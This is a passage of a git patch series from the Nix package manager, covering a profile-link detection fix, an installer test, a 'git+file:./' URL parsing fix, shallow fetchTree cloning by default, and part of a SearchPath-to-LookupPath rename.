From 5d0bdb1d3f60d446a0d810e097d1e27edaa203a4 Mon Sep 17 00:00:00 2001
From: wh0 <wh0@users.noreply.github.com>
Date: Sun, 10 Dec 2023 19:14:51 -0800
Subject: [PATCH 001/528] nix-profile: fix both profile links detection

---
 scripts/nix-profile-daemon.sh.in | 7 +++----
 scripts/nix-profile.sh.in        | 7 +++----
 2 files changed, 6 insertions(+), 8 deletions(-)

diff --git a/scripts/nix-profile-daemon.sh.in b/scripts/nix-profile-daemon.sh.in
index d256b24ed5f..6a7318912f9 100644
--- a/scripts/nix-profile-daemon.sh.in
+++ b/scripts/nix-profile-daemon.sh.in
@@ -9,11 +9,9 @@ else
     NIX_LINK_NEW=$HOME/.local/state/nix/profile
 fi
 if [ -e "$NIX_LINK_NEW" ]; then
-    NIX_LINK="$NIX_LINK_NEW"
-else
-    if [ -t 2 ] && [ -e "$NIX_LINK_NEW" ]; then
+    if [ -t 2 ] && [ -e "$NIX_LINK" ]; then
         warning="\033[1;35mwarning:\033[0m"
-        printf "$warning Both %s and legacy %s exist; using the latter.\n" "$NIX_LINK_NEW" "$NIX_LINK" 1>&2
+        printf "$warning Both %s and legacy %s exist; using the former.\n" "$NIX_LINK_NEW" "$NIX_LINK" 1>&2
         if [ "$(realpath "$NIX_LINK")" = "$(realpath "$NIX_LINK_NEW")" ]; then
             printf "         Since the profiles match, you can safely delete either of them.\n" 1>&2
         else
@@ -26,6 +24,7 @@ else
             printf "$warning Profiles do not match. You should manually migrate from %s to %s.\n" "$NIX_LINK" "$NIX_LINK_NEW" 1>&2
         fi
     fi
+    NIX_LINK="$NIX_LINK_NEW"
 fi
 
 export NIX_PROFILES="@localstatedir@/nix/profiles/default $NIX_LINK"
diff --git a/scripts/nix-profile.sh.in b/scripts/nix-profile.sh.in
index 44bc96e894b..7fa0f4a7f10 100644
--- a/scripts/nix-profile.sh.in
+++ b/scripts/nix-profile.sh.in
@@ -9,11 +9,9 @@ if [ -n "$HOME" ] && [ -n "$USER" ]; then
         NIX_LINK_NEW="$HOME/.local/state/nix/profile"
     fi
     if [ -e "$NIX_LINK_NEW" ]; then
-        NIX_LINK="$NIX_LINK_NEW"
-    else
-        if [ -t 2 ] && [ -e "$NIX_LINK_NEW" ]; then
+        if [ -t 2 ] && [ -e "$NIX_LINK" ]; then
             warning="\033[1;35mwarning:\033[0m"
-            printf "$warning Both %s and legacy %s exist; using the latter.\n" "$NIX_LINK_NEW" "$NIX_LINK" 1>&2
+            printf "$warning Both %s and legacy %s exist; using the former.\n" "$NIX_LINK_NEW" "$NIX_LINK" 1>&2
             if [ "$(realpath "$NIX_LINK")" = "$(realpath "$NIX_LINK_NEW")" ]; then
                 printf "         Since the profiles match, you can safely delete either of them.\n" 1>&2
             else
@@ -26,6 +24,7 @@ if [ -n "$HOME" ] && [ -n "$USER" ]; then
                 printf "$warning Profiles do not match. You should manually migrate from %s to %s.\n" "$NIX_LINK" "$NIX_LINK_NEW" 1>&2
             fi
         fi
+        NIX_LINK="$NIX_LINK_NEW"
     fi
 
     # Set up environment.

From 29eb4d354ab0ef07a2099f7ecb17a14585e059c3 Mon Sep 17 00:00:00 2001
From: w <none>
Date: Fri, 29 Dec 2023 07:14:53 +0000
Subject: [PATCH 002/528] nix-profile: add cross reference to installer test

---
 scripts/nix-profile-daemon.sh.in | 1 +
 scripts/nix-profile.sh.in        | 1 +
 2 files changed, 2 insertions(+)

diff --git a/scripts/nix-profile-daemon.sh.in b/scripts/nix-profile-daemon.sh.in
index 6a7318912f9..f0e396da0a7 100644
--- a/scripts/nix-profile-daemon.sh.in
+++ b/scripts/nix-profile-daemon.sh.in
@@ -1,4 +1,5 @@
 # Only execute this file once per shell.
+# This file is tested by tests/installer/default.nix.
 if [ -n "${__ETC_PROFILE_NIX_SOURCED:-}" ]; then return; fi
 __ETC_PROFILE_NIX_SOURCED=1
 
diff --git a/scripts/nix-profile.sh.in b/scripts/nix-profile.sh.in
index 7fa0f4a7f10..e868399b143 100644
--- a/scripts/nix-profile.sh.in
+++ b/scripts/nix-profile.sh.in
@@ -1,3 +1,4 @@
+# This file is tested by tests/installer/default.nix.
 if [ -n "$HOME" ] && [ -n "$USER" ]; then
 
     # Set up the per-user profile.

From 4e3dc5f925b8e84b85a1d9b52b57c0e70b45f664 Mon Sep 17 00:00:00 2001
From: w <none>
Date: Sat, 30 Dec 2023 06:24:06 +0000
Subject: [PATCH 003/528] tests: test with conflicting profile links

---
 tests/installer/default.nix | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/tests/installer/default.nix b/tests/installer/default.nix
index 238c6ac8e8d..4aed6eae489 100644
--- a/tests/installer/default.nix
+++ b/tests/installer/default.nix
@@ -13,6 +13,17 @@ let
       '';
     };
 
+    install-both-profile-links = {
+      script = ''
+        tar -xf ./nix.tar.xz
+        mv ./nix-* nix
+        ln -s $HOME/.local/state/nix/profiles/a-profile $HOME/.nix-profile
+        mkdir -p $HOME/.local/state/nix
+        ln -s $HOME/.local/state/nix/profiles/b-profile $HOME/.local/state/nix/profile
+        ./nix/install --no-channel-add
+      '';
+    };
+
     install-force-no-daemon = {
       script = ''
         tar -xf ./nix.tar.xz

From 8594f3cd5ad34838b2b7997af4909160e5887d73 Mon Sep 17 00:00:00 2001
From: Bryan Lai <bryanlais@gmail.com>
Date: Wed, 31 Jan 2024 19:41:17 +0800
Subject: [PATCH 004/528] libutil/url: fix git+file:./ parse error

Previously, the "file:./" prefix was not correctly recognized in
fixGitURL; instead, it was mistaken as a file path, which resulted in a
parsed url of the form "file://file:./".

This commit fixes the issue by properly detecting the "file:" prefix.
Note, however, that unlike "file://", the "file:./" URI is _not_
standardized, but has been widely used to referred to relative file
paths. In particular, the "git+file:./" did work for nix<=2.18, and was
broken since nix 2.19.0.

Finally, this commit fixes the issue completely for the 2.19 series, but
is still inadequate for the 2.20 series due to new behaviors from the
switch to libgit2. However, it does improve the correctness of parsing
even though it is not yet a complete solution.
---
 src/libutil/url.cc | 18 +++++++++---------
 1 file changed, 9 insertions(+), 9 deletions(-)

diff --git a/src/libutil/url.cc b/src/libutil/url.cc
index c6561441d93..f4178f87fd9 100644
--- a/src/libutil/url.cc
+++ b/src/libutil/url.cc
@@ -171,16 +171,16 @@ std::string fixGitURL(const std::string & url)
     std::regex scpRegex("([^/]*)@(.*):(.*)");
     if (!hasPrefix(url, "/") && std::regex_match(url, scpRegex))
         return std::regex_replace(url, scpRegex, "ssh://$1@$2/$3");
-    else {
-        if (url.find("://") == std::string::npos) {
-            return (ParsedURL {
-                .scheme = "file",
-                .authority = "",
-                .path = url
-            }).to_string();
-        } else
-            return url;
+    if (hasPrefix(url, "file:"))
+        return url;
+    if (url.find("://") == std::string::npos) {
+        return (ParsedURL {
+            .scheme = "file",
+            .authority = "",
+            .path = url
+        }).to_string();
     }
+    return url;
 }
 
 // https://www.rfc-editor.org/rfc/rfc3986#section-3.1

From 358c26fd13a902d9a4032a00e6683571be07a384 Mon Sep 17 00:00:00 2001
From: DavHau <hsngrmpf+github@gmail.com>
Date: Sat, 17 Feb 2024 19:36:32 +0700
Subject: [PATCH 005/528] fetchTree: shallow git fetching by default

Motivation:
make git fetching more efficient for most repos by default
---
 .../shallow-git-fetching-by-default.md        | 12 +++++
 src/libexpr/primops/fetchTree.cc              | 27 ++++++++---
 .../test-cases/fetchTree-shallow/default.nix  | 45 +++++++++++++++++++
 3 files changed, 78 insertions(+), 6 deletions(-)
 create mode 100644 doc/manual/rl-next/shallow-git-fetching-by-default.md
 create mode 100644 tests/nixos/fetch-git/test-cases/fetchTree-shallow/default.nix

diff --git a/doc/manual/rl-next/shallow-git-fetching-by-default.md b/doc/manual/rl-next/shallow-git-fetching-by-default.md
new file mode 100644
index 00000000000..4d044f881d3
--- /dev/null
+++ b/doc/manual/rl-next/shallow-git-fetching-by-default.md
@@ -0,0 +1,12 @@
+---
+synopsis: "`fetchTree` now fetches git repositories shallowly by default"
+prs: 10028
+---
+
+`builtins.fetchTree` now clones git repositories shallowly by default, which reduces network traffic and disk usage significantly in many cases.
+
+Previously, the default behavior was to clone the full history of a specific tag or branch (eg. `ref`) and only afterwards extract the files of one specific revision.
+
+From now on, the `ref` and `allRefs` arguments will be ignored, except if shallow cloning is disabled by setting `shallow = false`.
+
+The defaults for `builtins.fetchGit` remain unchanged. Here, shallow cloning has to be enabled manually by passing `shallow = true`.
diff --git a/src/libexpr/primops/fetchTree.cc b/src/libexpr/primops/fetchTree.cc
index 1997d55137c..2926e316122 100644
--- a/src/libexpr/primops/fetchTree.cc
+++ b/src/libexpr/primops/fetchTree.cc
@@ -138,6 +138,11 @@ static void fetchTree(
             attrs.emplace("exportIgnore", Explicit<bool>{true});
         }
 
+        // fetchTree should fetch git repos with shallow = true by default
+        if (type == "git" && !params.isFetchGit && !attrs.contains("shallow")) {
+            attrs.emplace("shallow", Explicit<bool>{true});
+        }
+
         if (!params.allowNameArgument)
             if (auto nameIter = attrs.find("name"); nameIter != attrs.end())
                 state.error<EvalError>(
@@ -321,6 +326,8 @@ static RegisterPrimOp primop_fetchTree({
 
         - `ref` (String, optional)
 
+          By default, this has no effect. This becomes relevant only once `shallow` cloning is disabled.
+
           A [Git reference](https://git-scm.com/book/en/v2/Git-Internals-Git-References), such as a branch or tag name.
 
           Default: `"HEAD"`
@@ -334,8 +341,9 @@ static RegisterPrimOp primop_fetchTree({
         - `shallow` (Bool, optional)
 
           Make a shallow clone when fetching the Git tree.
+          When this is enabled, the options `ref` and `allRefs` have no effect anymore.
 
-          Default: `false`
+          Default: `true`
 
         - `submodules` (Bool, optional)
 
@@ -345,8 +353,11 @@ static RegisterPrimOp primop_fetchTree({
 
         - `allRefs` (Bool, optional)
 
-          If set to `true`, always fetch the entire repository, even if the latest commit is still in the cache.
-          Otherwise, only the latest commit is fetched if it is not already cached.
+          By default, this has no effect. This becomes relevant only once `shallow` cloning is disabled.
+
+          Whether to fetch all references (eg. branches and tags) of the repository.
+          With this argument being true, it's possible to load a `rev` from *any* `ref`.
+          (Without setting this option, only `rev`s from the specified `ref` are supported).
 
           Default: `false`
 
@@ -600,6 +611,8 @@ static RegisterPrimOp primop_fetchGit({
 
         [Git reference]: https://git-scm.com/book/en/v2/Git-Internals-Git-References
 
+        This option has no effect once `shallow` cloning is enabled.
+
         By default, the `ref` value is prefixed with `refs/heads/`.
         As of 2.3.0, Nix will not prefix `refs/heads/` if `ref` starts with `refs/`.
 
@@ -617,13 +630,15 @@ static RegisterPrimOp primop_fetchGit({
       - `shallow` (default: `false`)
 
         Make a shallow clone when fetching the Git tree.
-
+        When this is enabled, the options `ref` and `allRefs` have no effect anymore.
       - `allRefs`
 
-        Whether to fetch all references of the repository.
-        With this argument being true, it's possible to load a `rev` from *any* `ref`
+        Whether to fetch all references (eg. branches and tags) of the repository.
+        With this argument being true, it's possible to load a `rev` from *any* `ref`.
         (by default only `rev`s from the specified `ref` are supported).
 
+        This option has no effect once `shallow` cloning is enabled.
+
       - `verifyCommit` (default: `true` if `publicKey` or `publicKeys` are provided, otherwise `false`)
 
         Whether to check `rev` for a signature matching `publicKey` or `publicKeys`.
diff --git a/tests/nixos/fetch-git/test-cases/fetchTree-shallow/default.nix b/tests/nixos/fetch-git/test-cases/fetchTree-shallow/default.nix
new file mode 100644
index 00000000000..f635df1f879
--- /dev/null
+++ b/tests/nixos/fetch-git/test-cases/fetchTree-shallow/default.nix
@@ -0,0 +1,45 @@
+{
+  description = "fetchTree fetches git repos shallowly by default";
+  script = ''
+    # purge nix git cache to make sure we start with a clean slate
+    client.succeed("rm -rf ~/.cache/nix")
+
+    # add two commits to the repo:
+    #   - one with a large file (2M)
+    #   - another one making the file small again
+    client.succeed(f"""
+      dd if=/dev/urandom of={repo.path}/thailand bs=1M count=2 \
+      && {repo.git} add thailand \
+      && {repo.git} commit -m 'commit1' \
+      && echo 'ThaigerSprint' > {repo.path}/thailand \
+      && {repo.git} add thailand \
+      && {repo.git} commit -m 'commit2' \
+      && {repo.git} push origin main
+    """)
+
+    # memoize the revision
+    commit2_rev = client.succeed(f"""
+      {repo.git} rev-parse HEAD
+    """).strip()
+
+    # construct the fetcher call
+    fetchGit_expr = f"""
+      builtins.fetchTree {{
+        type = "git";
+        url = "{repo.remote}";
+        rev = "{commit2_rev}";
+      }}
+    """
+
+    # fetch the repo via nix
+    fetched1 = client.succeed(f"""
+      nix eval --impure --raw --expr '({fetchGit_expr}).outPath'
+    """)
+
+    # check that the size of ~/.cache/nix is less than 1M
+    cache_size = client.succeed("""
+      du -s ~/.cache/nix
+    """).strip().split()[0]
+    assert int(cache_size) < 1024, f"cache size is {cache_size}K which is larger than 1M"
+  '';
+}

From 40a6a9fdb853b492cfaed60a225800e44999dba2 Mon Sep 17 00:00:00 2001
From: Roland Coeurjoly <rolandcoeurjoly@gmail.com>
Date: Sat, 13 Apr 2024 17:35:15 +0200
Subject: [PATCH 006/528] Rename SearchPath to LookupPath and searchPath to
 lookupPath

---
 src/libcmd/command.cc                         |  4 +-
 src/libcmd/common-eval-args.cc                |  2 +-
 src/libcmd/common-eval-args.hh                |  2 +-
 src/libcmd/repl.cc                            | 14 ++--
 src/libcmd/repl.hh                            |  2 +-
 src/libexpr-c/nix_api_expr.cc                 | 12 +--
 src/libexpr-c/nix_api_expr.h                  |  4 +-
 src/libexpr/eval.cc                           | 28 +++----
 src/libexpr/eval.hh                           | 16 ++--
 src/libexpr/primops.cc                        | 14 ++--
 src/libexpr/search-path.cc                    | 12 +--
 src/libexpr/search-path.hh                    | 40 +++++-----
 src/libfetchers/git-utils.cc                  |  2 +-
 src/libfetchers/unix/mercurial.cc             |  2 +-
 .../unix/build/local-derivation-goal.cc       |  2 +-
 src/libutil/processes.hh                      |  4 +-
 src/libutil/unix/processes.cc                 |  6 +-
 src/libutil/windows/processes.cc              |  2 +-
 src/nix-build/nix-build.cc                    |  2 +-
 src/nix-env/nix-env.cc                        |  2 +-
 src/nix-instantiate/nix-instantiate.cc        |  2 +-
 src/nix/develop.cc                            |  2 +-
 src/nix/fmt.cc                                |  2 +-
 src/nix/prefetch.cc                           |  2 +-
 src/nix/repl.cc                               |  2 +-
 src/nix/run.cc                                |  8 +-
 src/nix/run.hh                                |  4 +-
 src/nix/upgrade-nix.cc                        |  2 +-
 tests/unit/libexpr/search-path.cc             | 76 +++++++++----------
 29 files changed, 136 insertions(+), 136 deletions(-)

diff --git a/src/libcmd/command.cc b/src/libcmd/command.cc
index 220a90cf686..543250da3ac 100644
--- a/src/libcmd/command.cc
+++ b/src/libcmd/command.cc
@@ -128,10 +128,10 @@ ref<EvalState> EvalCommand::getEvalState()
         evalState =
             #if HAVE_BOEHMGC
             std::allocate_shared<EvalState>(traceable_allocator<EvalState>(),
-                searchPath, getEvalStore(), getStore())
+                lookupPath, getEvalStore(), getStore())
             #else
             std::make_shared<EvalState>(
-                searchPath, getEvalStore(), getStore())
+                lookupPath, getEvalStore(), getStore())
             #endif
             ;
 
diff --git a/src/libcmd/common-eval-args.cc b/src/libcmd/common-eval-args.cc
index c6ee0d0b259..155b43b700b 100644
--- a/src/libcmd/common-eval-args.cc
+++ b/src/libcmd/common-eval-args.cc
@@ -125,7 +125,7 @@ MixEvalArgs::MixEvalArgs()
         .category = category,
         .labels = {"path"},
         .handler = {[&](std::string s) {
-            searchPath.elements.emplace_back(SearchPath::Elem::parse(s));
+            lookupPath.elements.emplace_back(LookupPath::Elem::parse(s));
         }}
     });
 
diff --git a/src/libcmd/common-eval-args.hh b/src/libcmd/common-eval-args.hh
index 25ce5b9dada..d2efea28e12 100644
--- a/src/libcmd/common-eval-args.hh
+++ b/src/libcmd/common-eval-args.hh
@@ -23,7 +23,7 @@ struct MixEvalArgs : virtual Args, virtual MixRepair
 
     Bindings * getAutoArgs(EvalState & state);
 
-    SearchPath searchPath;
+    LookupPath lookupPath;
 
     std::optional<std::string> evalStoreUrl;
 
diff --git a/src/libcmd/repl.cc b/src/libcmd/repl.cc
index ffbb43a698c..a045e83d2d5 100644
--- a/src/libcmd/repl.cc
+++ b/src/libcmd/repl.cc
@@ -77,7 +77,7 @@ struct NixRepl
 
     std::unique_ptr<ReplInteracter> interacter;
 
-    NixRepl(const SearchPath & searchPath, nix::ref<Store> store,ref<EvalState> state,
+    NixRepl(const LookupPath & lookupPath, nix::ref<Store> store,ref<EvalState> state,
             std::function<AnnotatedValues()> getValues);
     virtual ~NixRepl() = default;
 
@@ -122,7 +122,7 @@ std::string removeWhitespace(std::string s)
 }
 
 
-NixRepl::NixRepl(const SearchPath & searchPath, nix::ref<Store> store, ref<EvalState> state,
+NixRepl::NixRepl(const LookupPath & lookupPath, nix::ref<Store> store, ref<EvalState> state,
             std::function<NixRepl::AnnotatedValues()> getValues)
     : AbstractNixRepl(state)
     , debugTraceIndex(0)
@@ -508,7 +508,7 @@ ProcessLineResult NixRepl::processLine(std::string line)
 
         // runProgram redirects stdout to a StringSink,
         // using runProgram2 to allow editors to display their UI
-        runProgram2(RunOptions { .program = editor, .searchPath = true, .args = args });
+        runProgram2(RunOptions { .program = editor, .lookupPath = true, .args = args });
 
         // Reload right after exiting the editor
         state->resetFileCache();
@@ -784,11 +784,11 @@ void NixRepl::evalString(std::string s, Value & v)
 
 
 std::unique_ptr<AbstractNixRepl> AbstractNixRepl::create(
-   const SearchPath & searchPath, nix::ref<Store> store, ref<EvalState> state,
+   const LookupPath & lookupPath, nix::ref<Store> store, ref<EvalState> state,
    std::function<AnnotatedValues()> getValues)
 {
     return std::make_unique<NixRepl>(
-        searchPath,
+        lookupPath,
         openStore(),
         state,
         getValues
@@ -804,9 +804,9 @@ ReplExitStatus AbstractNixRepl::runSimple(
         NixRepl::AnnotatedValues values;
         return values;
     };
-    SearchPath searchPath = {};
+    LookupPath lookupPath = {};
     auto repl = std::make_unique<NixRepl>(
-            searchPath,
+            lookupPath,
             openStore(),
             evalState,
             getValues
diff --git a/src/libcmd/repl.hh b/src/libcmd/repl.hh
index aac79ec7404..3fd4b2c391a 100644
--- a/src/libcmd/repl.hh
+++ b/src/libcmd/repl.hh
@@ -20,7 +20,7 @@ struct AbstractNixRepl
     typedef std::vector<std::pair<Value*,std::string>> AnnotatedValues;
 
     static std::unique_ptr<AbstractNixRepl> create(
-        const SearchPath & searchPath, nix::ref<Store> store, ref<EvalState> state,
+        const LookupPath & lookupPath, nix::ref<Store> store, ref<EvalState> state,
         std::function<AnnotatedValues()> getValues);
 
     static ReplExitStatus runSimple(
diff --git a/src/libexpr-c/nix_api_expr.cc b/src/libexpr-c/nix_api_expr.cc
index a5c03d5aace..a29c3425e5f 100644
--- a/src/libexpr-c/nix_api_expr.cc
+++ b/src/libexpr-c/nix_api_expr.cc
@@ -85,17 +85,17 @@ nix_err nix_value_force_deep(nix_c_context * context, EvalState * state, Value *
     NIXC_CATCH_ERRS
 }
 
-EvalState * nix_state_create(nix_c_context * context, const char ** searchPath_c, Store * store)
+EvalState * nix_state_create(nix_c_context * context, const char ** lookupPath_c, Store * store)
 {
     if (context)
         context->last_err_code = NIX_OK;
     try {
-        nix::Strings searchPath;
-        if (searchPath_c != nullptr)
-            for (size_t i = 0; searchPath_c[i] != nullptr; i++)
-                searchPath.push_back(searchPath_c[i]);
+        nix::Strings lookupPath;
+        if (lookupPath_c != nullptr)
+            for (size_t i = 0; lookupPath_c[i] != nullptr; i++)
+                lookupPath.push_back(lookupPath_c[i]);
 
-        return new EvalState{nix::EvalState(nix::SearchPath::parse(searchPath), store->ptr)};
+        return new EvalState{nix::EvalState(nix::LookupPath::parse(lookupPath), store->ptr)};
     }
     NIXC_CATCH_ERRS_NULL
 }
diff --git a/src/libexpr-c/nix_api_expr.h b/src/libexpr-c/nix_api_expr.h
index fd9746ab713..04fc92f0f99 100644
--- a/src/libexpr-c/nix_api_expr.h
+++ b/src/libexpr-c/nix_api_expr.h
@@ -140,11 +140,11 @@ nix_err nix_value_force_deep(nix_c_context * context, EvalState * state, Value *
  * @brief Create a new Nix language evaluator state.
  *
  * @param[out] context Optional, stores error information
- * @param[in] searchPath Array of strings corresponding to entries in NIX_PATH.
+ * @param[in] lookupPath Array of strings corresponding to entries in NIX_PATH.
  * @param[in] store The Nix store to use.
  * @return A new Nix state or NULL on failure.
  */
-EvalState * nix_state_create(nix_c_context * context, const char ** searchPath, Store * store);
+EvalState * nix_state_create(nix_c_context * context, const char ** lookupPath, Store * store);
 
 /**
  * @brief Frees a Nix state.
diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc
index 72da1c46577..35ccca79a61 100644
--- a/src/libexpr/eval.cc
+++ b/src/libexpr/eval.cc
@@ -343,7 +343,7 @@ void initGC()
 }
 
 EvalState::EvalState(
-    const SearchPath & _searchPath,
+    const LookupPath & _lookupPath,
     ref<Store> store,
     std::shared_ptr<Store> buildStore)
     : sWith(symbols.create("<with>"))
@@ -448,16 +448,16 @@ EvalState::EvalState(
 
     /* Initialise the Nix expression search path. */
     if (!evalSettings.pureEval) {
-        for (auto & i : _searchPath.elements)
-            searchPath.elements.emplace_back(SearchPath::Elem {i});
+        for (auto & i : _lookupPath.elements)
+            lookupPath.elements.emplace_back(LookupPath::Elem {i});
         for (auto & i : evalSettings.nixPath.get())
-            searchPath.elements.emplace_back(SearchPath::Elem::parse(i));
+            lookupPath.elements.emplace_back(LookupPath::Elem::parse(i));
     }
 
     /* Allow access to all paths in the search path. */
     if (rootFS.dynamic_pointer_cast<AllowListInputAccessor>())
-        for (auto & i : searchPath.elements)
-            resolveSearchPathPath(i.path, true);
+        for (auto & i : lookupPath.elements)
+            resolveLookupPathPath(i.path, true);
 
     corepkgsFS->addFile(
         CanonPath("fetchurl.nix"),
@@ -2820,19 +2820,19 @@ Expr * EvalState::parseStdin()
 
 SourcePath EvalState::findFile(const std::string_view path)
 {
-    return findFile(searchPath, path);
+    return findFile(lookupPath, path);
 }
 
 
-SourcePath EvalState::findFile(const SearchPath & searchPath, const std::string_view path, const PosIdx pos)
+SourcePath EvalState::findFile(const LookupPath & lookupPath, const std::string_view path, const PosIdx pos)
 {
-    for (auto & i : searchPath.elements) {
+    for (auto & i : lookupPath.elements) {
         auto suffixOpt = i.prefix.suffixIfPotentialMatch(path);
 
         if (!suffixOpt) continue;
         auto suffix = *suffixOpt;
 
-        auto rOpt = resolveSearchPathPath(i.path);
+        auto rOpt = resolveLookupPathPath(i.path);
         if (!rOpt) continue;
         auto r = *rOpt;
 
@@ -2852,11 +2852,11 @@ SourcePath EvalState::findFile(const SearchPath & searchPath, const std::string_
 }
 
 
-std::optional<std::string> EvalState::resolveSearchPathPath(const SearchPath::Path & value0, bool initAccessControl)
+std::optional<std::string> EvalState::resolveLookupPathPath(const LookupPath::Path & value0, bool initAccessControl)
 {
     auto & value = value0.s;
-    auto i = searchPathResolved.find(value);
-    if (i != searchPathResolved.end()) return i->second;
+    auto i = lookupPathResolved.find(value);
+    if (i != lookupPathResolved.end()) return i->second;
 
     std::optional<std::string> res;
 
@@ -2912,7 +2912,7 @@ std::optional<std::string> EvalState::resolveSearchPathPath(const SearchPath::Pa
     else
         debug("failed to resolve search path element '%s'", value);
 
-    searchPathResolved.emplace(value, res);
+    lookupPathResolved.emplace(value, res);
     return res;
 }
 
diff --git a/src/libexpr/eval.hh b/src/libexpr/eval.hh
index af65fdcbaa3..b62c994ad4e 100644
--- a/src/libexpr/eval.hh
+++ b/src/libexpr/eval.hh
@@ -162,7 +162,7 @@ struct DebugTrace {
 };
 
 // Don't want Windows function
-#undef SearchPath
+#undef LookupPath
 
 class EvalState : public std::enable_shared_from_this<EvalState>
 {
@@ -311,9 +311,9 @@ private:
 #endif
     FileEvalCache fileEvalCache;
 
-    SearchPath searchPath;
+    LookupPath lookupPath;
 
-    std::map<std::string, std::optional<std::string>> searchPathResolved;
+    std::map<std::string, std::optional<std::string>> lookupPathResolved;
 
     /**
      * Cache used by prim_match().
@@ -335,12 +335,12 @@ private:
 public:
 
     EvalState(
-        const SearchPath & _searchPath,
+        const LookupPath & _lookupPath,
         ref<Store> store,
         std::shared_ptr<Store> buildStore = nullptr);
     ~EvalState();
 
-    SearchPath getSearchPath() { return searchPath; }
+    LookupPath getLookupPath() { return lookupPath; }
 
     /**
      * Return a `SourcePath` that refers to `path` in the root
@@ -409,7 +409,7 @@ public:
      * Look up a file in the search path.
      */
     SourcePath findFile(const std::string_view path);
-    SourcePath findFile(const SearchPath & searchPath, const std::string_view path, const PosIdx pos = noPos);
+    SourcePath findFile(const LookupPath & lookupPath, const std::string_view path, const PosIdx pos = noPos);
 
     /**
      * Try to resolve a search path value (not the optional key part).
@@ -418,8 +418,8 @@ public:
      *
      * If it is not found, return `std::nullopt`
      */
-    std::optional<std::string> resolveSearchPathPath(
-        const SearchPath::Path & elem,
+    std::optional<std::string> resolveLookupPathPath(
+        const LookupPath::Path & elem,
         bool initAccessControl = false);
 
     /**
diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc
index f03acc2daab..df274caed47 100644
--- a/src/libexpr/primops.cc
+++ b/src/libexpr/primops.cc
@@ -1716,7 +1716,7 @@ static void prim_findFile(EvalState & state, const PosIdx pos, Value * * args, V
 {
     state.forceList(*args[0], pos, "while evaluating the first argument passed to builtins.findFile");
 
-    SearchPath searchPath;
+    LookupPath lookupPath;
 
     for (auto v2 : args[0]->listItems()) {
         state.forceAttrs(*v2, pos, "while evaluating an element of the list passed to builtins.findFile");
@@ -1744,15 +1744,15 @@ static void prim_findFile(EvalState & state, const PosIdx pos, Value * * args, V
             ).atPos(pos).debugThrow();
         }
 
-        searchPath.elements.emplace_back(SearchPath::Elem {
-            .prefix = SearchPath::Prefix { .s = prefix },
-            .path = SearchPath::Path { .s = path },
+        lookupPath.elements.emplace_back(LookupPath::Elem {
+            .prefix = LookupPath::Prefix { .s = prefix },
+            .path = LookupPath::Path { .s = path },
         });
     }
 
     auto path = state.forceStringNoCtx(*args[1], pos, "while evaluating the second argument passed to builtins.findFile");
 
-    v.mkPath(state.findFile(searchPath, path, pos));
+    v.mkPath(state.findFile(lookupPath, path, pos));
 }
 
 static RegisterPrimOp primop_findFile(PrimOp {
@@ -4629,8 +4629,8 @@ void EvalState::createBaseEnv()
     });
 
     /* Add a value containing the current Nix expression search path. */
-    auto list = buildList(searchPath.elements.size());
-    for (const auto & [n, i] : enumerate(searchPath.elements)) {
+    auto list = buildList(lookupPath.elements.size());
+    for (const auto & [n, i] : enumerate(lookupPath.elements)) {
         auto attrs = buildBindings(2);
         attrs.alloc("path").mkString(i.path.s);
         attrs.alloc("prefix").mkString(i.prefix.s);
diff --git a/src/libexpr/search-path.cc b/src/libexpr/search-path.cc
index e2c3e050ae0..657744e745c 100644
--- a/src/libexpr/search-path.cc
+++ b/src/libexpr/search-path.cc
@@ -2,7 +2,7 @@
 
 namespace nix {
 
-std::optional<std::string_view> SearchPath::Prefix::suffixIfPotentialMatch(
+std::optional<std::string_view> LookupPath::Prefix::suffixIfPotentialMatch(
     std::string_view path) const
 {
     auto n = s.size();
@@ -27,11 +27,11 @@ std::optional<std::string_view> SearchPath::Prefix::suffixIfPotentialMatch(
 }
 
 
-SearchPath::Elem SearchPath::Elem::parse(std::string_view rawElem)
+LookupPath::Elem LookupPath::Elem::parse(std::string_view rawElem)
 {
     size_t pos = rawElem.find('=');
 
-    return SearchPath::Elem {
+    return LookupPath::Elem {
         .prefix = Prefix {
             .s = pos == std::string::npos
                 ? std::string { "" }
@@ -44,11 +44,11 @@ SearchPath::Elem SearchPath::Elem::parse(std::string_view rawElem)
 }
 
 
-SearchPath SearchPath::parse(const Strings & rawElems)
+LookupPath LookupPath::parse(const Strings & rawElems)
 {
-    SearchPath res;
+    LookupPath res;
     for (auto & rawElem : rawElems)
-        res.elements.emplace_back(SearchPath::Elem::parse(rawElem));
+        res.elements.emplace_back(LookupPath::Elem::parse(rawElem));
     return res;
 }
 
diff --git a/src/libexpr/search-path.hh b/src/libexpr/search-path.hh
index 231752ea66c..6a63f373035 100644
--- a/src/libexpr/search-path.hh
+++ b/src/libexpr/search-path.hh
@@ -8,17 +8,17 @@
 
 namespace nix {
 
-// Do not want the windows macro (alias to `SearchPathA`)
-#undef SearchPath
+// Do not want the windows macro (alias to `LookupPathA`)
+#undef LookupPath
 
 /**
  * A "search path" is a list of ways look for something, used with
  * `builtins.findFile` and `< >` lookup expressions.
  */
-struct SearchPath
+struct LookupPath
 {
     /**
-     * A single element of a `SearchPath`.
+     * A single element of a `LookupPath`.
      *
      * Each element is tried in succession when looking up a path. The first
      * element to completely match wins.
@@ -26,16 +26,16 @@ struct SearchPath
     struct Elem;
 
     /**
-     * The first part of a `SearchPath::Elem` pair.
+     * The first part of a `LookupPath::Elem` pair.
      *
      * Called a "prefix" because it takes the form of a prefix of a file
      * path (first `n` path components). When looking up a path, to use
-     * a `SearchPath::Elem`, its `Prefix` must match the path.
+     * a `LookupPath::Elem`, its `Prefix` must match the path.
      */
     struct Prefix;
 
     /**
-     * The second part of a `SearchPath::Elem` pair.
+     * The second part of a `LookupPath::Elem` pair.
      *
      * It is either a path or a URL (with certain restrictions / extra
      * structure).
@@ -43,7 +43,7 @@ struct SearchPath
      * If the prefix of the path we are looking up matches, we then
      * check if the rest of the path points to something that exists
      * within the directory denoted by this. If so, the
-     * `SearchPath::Elem` as a whole matches, and that *something* being
+     * `LookupPath::Elem` as a whole matches, and that *something* being
      * pointed to by the rest of the path we are looking up is the
      * result.
      */
@@ -54,24 +54,24 @@ struct SearchPath
      * when looking up. (The actual lookup entry point is in `EvalState`
      * not in this class.)
      */
-    std::list<SearchPath::Elem> elements;
+    std::list<LookupPath::Elem> elements;
 
     /**
-     * Parse a string into a `SearchPath`
+     * Parse a string into a `LookupPath`
      */
